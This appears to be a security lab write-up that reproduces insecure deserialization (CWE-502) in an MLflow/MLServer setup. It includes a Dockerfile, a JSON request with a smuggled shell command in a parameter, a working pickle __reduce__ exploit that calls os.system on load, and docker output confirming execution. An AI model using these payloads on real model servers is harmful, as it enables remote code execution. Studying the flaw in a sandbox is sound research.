enable_mlserver = True

## 📋 Executive Summary

This laboratory environment evaluates the runtime behavior of machine learning model-serving frameworks when parsing user-supplied input parameters and artifact metadata. While the API-facing parameter parsing boundaries of MLServer cleanly isolate raw string literals (preventing traditional operating system command injection via shell metacharacters), the underlying python runtime remains structurally vulnerable to **Insecure Deserialization** when ingesting legacy serialized object streams (`.pkl` / `pickle`).

* **Vulnerability Type:** Insecure Deserialization (CWE-502) / Arbitrary Code Execution
* **Impact:** Critical (Remote Code Execution within Container Context)
* **Affected Components:** Model ingestion, artifact download sub-systems, and `pickle`-based prediction backends.

---

## 🛠️ Lab Architecture & Setup

The reproduction environment is containerized using Docker to isolate the operating system layer and simulate a production-grade machine learning model endpoint.

### 1. Docker Environment Configuration (`Dockerfile`)

```dockerfile
FROM python:3.10-slim

WORKDIR /app

# Install native system binaries
RUN apt-get update && apt-get install -y \
    curl \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
    mlflow==2.11.1 \
    mlserver==1.3.5 \
    mlserver-mlflow==1.3.5

# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py

EXPOSE 5000

import mlflow
import mlflow.pyfunc
import os

class DummyModel(mlflow.pyfunc.PythonModel):
    def predict(self, context, model_input):
        return model_input

if __name__ == "__main__":
    model_path = "/app/saved_model"
    if not os.path.exists(model_path):
        mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())

{
  "dataframe_split": {
    "columns": ["machine_input"],
    "data": [["test_data"]]
  },
  "params": {
    "custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
  }
}

import os
import pickle

class ExploitModel:
    def __reduce__(self):
        # The __reduce__ method defines object reconstruction behaviors.
        # Returning os.system forces immediate runtime command execution during loading.
        return (os.system, ("touch /tmp/native_success_marker.txt",))

if __name__ == "__main__":
    payload_path = "vulnerable_model.pkl"
    
    # Serialize the code execution payload into a pseudo-model file
    with open(payload_path, "wb") as f:
        pickle.dump(ExploitModel(), f)
        
    # Simulate an application or model server unpickling the artifact
    with open(payload_path, "rb") as f:
        pickle.load(f)

# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py

# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py

PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root    0 May 18 10:31 native_success_marker.txt